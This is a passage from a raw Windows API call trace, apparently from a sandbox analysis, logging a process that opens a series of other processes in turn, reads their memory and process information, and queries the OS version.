hProcess=0x330, lpBaseAddress=0x5218f8, lpBuffer=0x2dc237c1c0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c1c0*, lpNumberOfBytesRead=0x0) returned 1 [0181.152] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x1, ProcessInformation=0x2dc237c4c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c4c0, ReturnLength=0x0) returned 0x0 [0181.153] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237bf98, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237bf98, ReturnLength=0x0) returned 0x0 [0181.153] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x3fc020, lpBuffer=0x2dc237bf80, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bf80*, lpNumberOfBytesRead=0x0) returned 1 [0181.153] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x5212e0, lpBuffer=0x2dc237bfd0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bfd0*, lpNumberOfBytesRead=0x0) returned 1 [0181.154] malloc (_Size=0x72) returned 0x20abc2831b0 [0181.154] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x521962, lpBuffer=0x20abc2831b0, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2831b0*, lpNumberOfBytesRead=0x0) returned 1 [0181.154] free (_Block=0x20abc2831b0) [0181.155] CloseHandle (hObject=0x330) returned 1 [0181.155] _ui64tow_s (in: _Value=0xfb0, _Buffer=0x2dc237d390, _BufferCount=0x104, _Radix=10 | out: _Buffer="4016") returned 0x0 [0181.159] _vsnwprintf (in: _Buffer=0x2dc237d0b0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc237c438 | out: _Buffer="4016") returned 4 [0181.160] GetVersionExW (in: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0181.160] _vsnwprintf (in: _Buffer=0x2dc237cea0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc237c438 | out: _Buffer="10.0.10586") returned 10 [0181.185] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xfb0) returned 0x330 [0181.185] GetLastError () returned 0x0 [0181.186] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237c490, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c490, ReturnLength=0x0) returned 0x0 [0181.186] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x211018, lpBuffer=0x2dc237c460, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c460*, lpNumberOfBytesRead=0x0) returned 1 [0181.186] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc237c450, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c450*, lpNumberOfBytesRead=0x0) returned 1 [0181.186] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x581d60, lpBuffer=0x2dc237c870, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c870*, lpNumberOfBytesRead=0x0) returned 1 [0181.186] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x581958, lpBuffer=0x2dc237c1c0, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c1c0*, lpNumberOfBytesRead=0x0) returned 1 [0181.187] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x1, ProcessInformation=0x2dc237c4c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c4c0, ReturnLength=0x0) returned 0x0 [0181.188] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237bf98, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237bf98, ReturnLength=0x0) returned 0x0 [0181.188] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x211020, lpBuffer=0x2dc237bf80, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bf80*, lpNumberOfBytesRead=0x0) returned 1 [0181.188] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x581340, lpBuffer=0x2dc237bfd0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bfd0*, lpNumberOfBytesRead=0x0) returned 1 [0181.188] malloc (_Size=0x78) returned 0x20abc282120 [0181.188] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x5819c8, lpBuffer=0x20abc282120, nSize=0x76, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc282120*, lpNumberOfBytesRead=0x0) returned 1 [0181.189] free (_Block=0x20abc282120) [0181.190] CloseHandle (hObject=0x330) returned 1 [0181.190] _ui64tow_s (in: _Value=0xfb8, _Buffer=0x2dc237d390, _BufferCount=0x104, _Radix=10 | out: _Buffer="4024") returned 0x0 [0181.193] _vsnwprintf (in: _Buffer=0x2dc237d0b0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc237c438 | out: _Buffer="4024") returned 4 [0181.194] GetVersionExW (in: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0181.194] _vsnwprintf (in: _Buffer=0x2dc237cea0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc237c438 | out: _Buffer="10.0.10586") returned 10 [0181.208] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xfb8) returned 0x330 [0181.208] GetLastError () returned 0x0 [0181.208] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237c490, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c490, ReturnLength=0x0) returned 0x0 [0181.208] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x214018, lpBuffer=0x2dc237c460, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c460*, lpNumberOfBytesRead=0x0) returned 1 [0181.208] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc237c450, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c450*, lpNumberOfBytesRead=0x0) returned 1 [0181.209] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x451cd0, lpBuffer=0x2dc237c870, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c870*, lpNumberOfBytesRead=0x0) returned 1 [0181.209] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x4518f8, lpBuffer=0x2dc237c1c0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c1c0*, lpNumberOfBytesRead=0x0) returned 1 [0181.210] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x1, ProcessInformation=0x2dc237c4c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c4c0, ReturnLength=0x0) returned 0x0 [0181.211] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237bf98, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237bf98, ReturnLength=0x0) returned 0x0 [0181.211] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x214020, lpBuffer=0x2dc237bf80, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bf80*, lpNumberOfBytesRead=0x0) returned 1 [0181.211] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x4512e0, lpBuffer=0x2dc237bfd0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bfd0*, lpNumberOfBytesRead=0x0) returned 1 [0181.211] malloc (_Size=0x6a) returned 0x20abc2831b0 [0181.211] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x45195a, lpBuffer=0x20abc2831b0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2831b0*, lpNumberOfBytesRead=0x0) returned 1 [0181.212] free (_Block=0x20abc2831b0) [0181.212] CloseHandle (hObject=0x330) returned 1 [0181.213] _ui64tow_s (in: _Value=0xfc4, _Buffer=0x2dc237d390, _BufferCount=0x104, _Radix=10 | out: _Buffer="4036") returned 0x0 [0181.228] _vsnwprintf (in: _Buffer=0x2dc237d0b0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc237c438 | out: _Buffer="4036") returned 4 [0181.229] GetVersionExW (in: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0181.229] _vsnwprintf (in: _Buffer=0x2dc237cea0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc237c438 | out: _Buffer="10.0.10586") returned 10 [0181.242] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xfc4) returned 0x330 [0181.242] GetLastError () returned 0x0 [0181.242] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237c490, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c490, ReturnLength=0x0) returned 0x0 [0181.242] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x377018, lpBuffer=0x2dc237c460, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c460*, lpNumberOfBytesRead=0x0) returned 1 [0181.243] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc237c450, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c450*, lpNumberOfBytesRead=0x0) returned 1 [0181.243] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x551cd0, lpBuffer=0x2dc237c870, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c870*, lpNumberOfBytesRead=0x0) returned 1 [0181.243] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x5518f8, lpBuffer=0x2dc237c1c0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c1c0*, lpNumberOfBytesRead=0x0) returned 1 [0181.244] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x1, ProcessInformation=0x2dc237c4c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c4c0, ReturnLength=0x0) returned 0x0 [0181.245] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237bf98, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237bf98, ReturnLength=0x0) returned 0x0 [0181.245] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x377020, lpBuffer=0x2dc237bf80, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bf80*, lpNumberOfBytesRead=0x0) returned 1 [0181.245] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x5512e0, lpBuffer=0x2dc237bfd0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bfd0*, lpNumberOfBytesRead=0x0) returned 1 [0181.245] malloc (_Size=0x6a) returned 0x20abc2831b0 [0181.245] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x55195a, lpBuffer=0x20abc2831b0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2831b0*, lpNumberOfBytesRead=0x0) returned 1 [0181.246] free (_Block=0x20abc2831b0) [0181.246] CloseHandle (hObject=0x330) returned 1 [0181.247] _ui64tow_s (in: _Value=0xfd4, _Buffer=0x2dc237d390, _BufferCount=0x104, _Radix=10 | out: _Buffer="4052") returned 0x0 [0181.258] _vsnwprintf (in: _Buffer=0x2dc237d0b0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc237c438 | out: _Buffer="4052") returned 4 [0181.259] GetVersionExW (in: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0181.259] _vsnwprintf (in: _Buffer=0x2dc237cea0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc237c438 | out: _Buffer="10.0.10586") returned 10 [0181.273] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xfd4) returned 0x330 [0181.273] GetLastError () returned 0x0 [0181.273] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237c490, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c490, ReturnLength=0x0) returned 0x0 [0181.273] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x2a5018, lpBuffer=0x2dc237c460, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c460*, lpNumberOfBytesRead=0x0) returned 1 [0181.274] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc237c450, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c450*, lpNumberOfBytesRead=0x0) returned 1 [0181.274] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x451cf0, lpBuffer=0x2dc237c870, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c870*, lpNumberOfBytesRead=0x0) returned 1 [0181.274] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x4518f8, lpBuffer=0x2dc237c1c0, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c1c0*, lpNumberOfBytesRead=0x0) returned 1 [0181.275] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x1, ProcessInformation=0x2dc237c4c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c4c0, ReturnLength=0x0) returned 0x0 [0181.276] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237bf98, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237bf98, ReturnLength=0x0) returned 0x0 [0181.276] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x2a5020, lpBuffer=0x2dc237bf80, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bf80*, lpNumberOfBytesRead=0x0) returned 1 [0181.276] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x4512e0, lpBuffer=0x2dc237bfd0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bfd0*, lpNumberOfBytesRead=0x0) returned 1 [0181.277] malloc (_Size=0x74) returned 0x20abc2831b0 [0181.277] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x451964, lpBuffer=0x20abc2831b0, nSize=0x72, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2831b0*, lpNumberOfBytesRead=0x0) returned 1 [0181.277] free (_Block=0x20abc2831b0) [0181.278] CloseHandle (hObject=0x330) returned 1 [0181.278] _ui64tow_s (in: _Value=0xfdc, _Buffer=0x2dc237d390, _BufferCount=0x104, _Radix=10 | out: _Buffer="4060") returned 0x0 [0181.296] _vsnwprintf (in: _Buffer=0x2dc237d0b0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc237c438 | out: _Buffer="4060") returned 4 [0181.297] GetVersionExW (in: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0181.297] _vsnwprintf (in: _Buffer=0x2dc237cea0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc237c438 | out: _Buffer="10.0.10586") returned 10 [0181.310] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xfdc) returned 0x330 [0181.310] GetLastError () returned 0x0 [0181.311] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237c490, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c490, ReturnLength=0x0) returned 0x0 [0181.311] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x3fa018, lpBuffer=0x2dc237c460, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c460*, lpNumberOfBytesRead=0x0) returned 1 [0181.311] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc237c450, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c450*, lpNumberOfBytesRead=0x0) returned 1 [0181.311] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x4e1d00, lpBuffer=0x2dc237c870, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c870*, lpNumberOfBytesRead=0x0) returned 1 [0181.311] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x4e18f8, lpBuffer=0x2dc237c1c0, nSize=0x72, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c1c0*, lpNumberOfBytesRead=0x0) returned 1 [0181.312] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x1, ProcessInformation=0x2dc237c4c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c4c0, ReturnLength=0x0) returned 0x0 [0181.313] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237bf98, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237bf98, ReturnLength=0x0) returned 0x0 [0181.313] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x3fa020, lpBuffer=0x2dc237bf80, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bf80*, lpNumberOfBytesRead=0x0) returned 1 [0181.313] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x4e12e0, lpBuffer=0x2dc237bfd0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bfd0*, lpNumberOfBytesRead=0x0) returned 1 [0181.314] malloc (_Size=0x7a) returned 0x20abc284f30 [0181.314] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x4e196a, lpBuffer=0x20abc284f30, nSize=0x78, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc284f30*, lpNumberOfBytesRead=0x0) returned 1 [0181.314] free (_Block=0x20abc284f30) [0181.315] CloseHandle (hObject=0x330) returned 1 [0181.315] _ui64tow_s (in: _Value=0xfe8, _Buffer=0x2dc237d390, _BufferCount=0x104, _Radix=10 | out: _Buffer="4072") returned 0x0 [0181.319] _vsnwprintf (in: _Buffer=0x2dc237d0b0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc237c438 | out: _Buffer="4072") returned 4 [0181.320] GetVersionExW (in: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0181.320] _vsnwprintf (in: _Buffer=0x2dc237cea0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc237c438 | out: _Buffer="10.0.10586") returned 10 [0181.346] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xfe8) returned 0x330 [0181.346] GetLastError () returned 0x0 [0181.347] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237c490, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c490, ReturnLength=0x0) returned 0x0 [0181.347] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x55b018, lpBuffer=0x2dc237c460, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c460*, lpNumberOfBytesRead=0x0) returned 1 [0181.347] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc237c450, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c450*, lpNumberOfBytesRead=0x0) returned 1 [0181.347] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x781ce0, lpBuffer=0x2dc237c870, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c870*, lpNumberOfBytesRead=0x0) returned 1 [0181.347] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x7818f8, lpBuffer=0x2dc237c1c0, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c1c0*, lpNumberOfBytesRead=0x0) returned 1 [0181.348] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x1, ProcessInformation=0x2dc237c4c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c4c0, ReturnLength=0x0) returned 0x0 [0181.349] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237bf98, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237bf98, ReturnLength=0x0) returned 0x0 [0181.349] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x55b020, lpBuffer=0x2dc237bf80, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bf80*, lpNumberOfBytesRead=0x0) returned 1 [0181.350] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x7812e0, lpBuffer=0x2dc237bfd0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bfd0*, lpNumberOfBytesRead=0x0) returned 1 [0181.350] malloc (_Size=0x6e) returned 0x20abc2831b0 [0181.350] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x78195e, lpBuffer=0x20abc2831b0, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2831b0*, lpNumberOfBytesRead=0x0) returned 1 [0181.350] free (_Block=0x20abc2831b0) [0181.351] CloseHandle (hObject=0x330) returned 1 [0181.351] _ui64tow_s (in: _Value=0xff4, _Buffer=0x2dc237d390, _BufferCount=0x104, _Radix=10 | out: _Buffer="4084") returned 0x0 [0181.355] _vsnwprintf (in: _Buffer=0x2dc237d0b0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc237c438 | out: _Buffer="4084") returned 4 [0181.356] GetVersionExW (in: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0181.356] _vsnwprintf (in: _Buffer=0x2dc237cea0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc237c438 | out: _Buffer="10.0.10586") returned 10 [0181.368] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xff4) returned 0x330 [0181.368] GetLastError () returned 0x0 [0181.369] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237c490, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c490, ReturnLength=0x0) returned 0x0 [0181.369] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x2a8018, lpBuffer=0x2dc237c460, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c460*, lpNumberOfBytesRead=0x0) returned 1 [0181.369] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc237c450, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c450*, lpNumberOfBytesRead=0x0) returned 1 [0181.369] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x4a1c80, lpBuffer=0x2dc237c870, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c870*, lpNumberOfBytesRead=0x0) returned 1 [0181.369] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x4a18f8, lpBuffer=0x2dc237c1c0, nSize=0x46, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c1c0*, lpNumberOfBytesRead=0x0) returned 1 [0181.370] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x1, ProcessInformation=0x2dc237c4c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c4c0, ReturnLength=0x0) returned 0x0 [0181.371] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237bf98, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237bf98, ReturnLength=0x0) returned 0x0 [0181.372] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x2a8020, lpBuffer=0x2dc237bf80, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bf80*, lpNumberOfBytesRead=0x0) returned 1 [0181.372] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x4a12e0, lpBuffer=0x2dc237bfd0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bfd0*, lpNumberOfBytesRead=0x0) returned 1 [0181.372] malloc (_Size=0x4e) returned 0x20abc2aab10 [0181.372] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x4a193e, lpBuffer=0x20abc2aab10, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2aab10*, lpNumberOfBytesRead=0x0) returned 1 [0181.373] free (_Block=0x20abc2aab10) [0181.386] CloseHandle (hObject=0x330) returned 1 [0181.387] _ui64tow_s (in: _Value=0xffc, _Buffer=0x2dc237d390, _BufferCount=0x104, _Radix=10 | out: _Buffer="4092") returned 0x0 [0181.391] _vsnwprintf (in: _Buffer=0x2dc237d0b0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc237c438 | out: _Buffer="4092") returned 4 [0181.392] GetVersionExW (in: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0181.392] _vsnwprintf (in: _Buffer=0x2dc237cea0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc237c438 | out: _Buffer="10.0.10586") returned 10 [0181.405] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xffc) returned 0x330 [0181.405] GetLastError () returned 0x0 [0181.405] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237c490, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c490, ReturnLength=0x0) returned 0x0 [0181.405] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x257018, lpBuffer=0x2dc237c460, nSize=0x8, lpNumberOfBytesRead=0x0 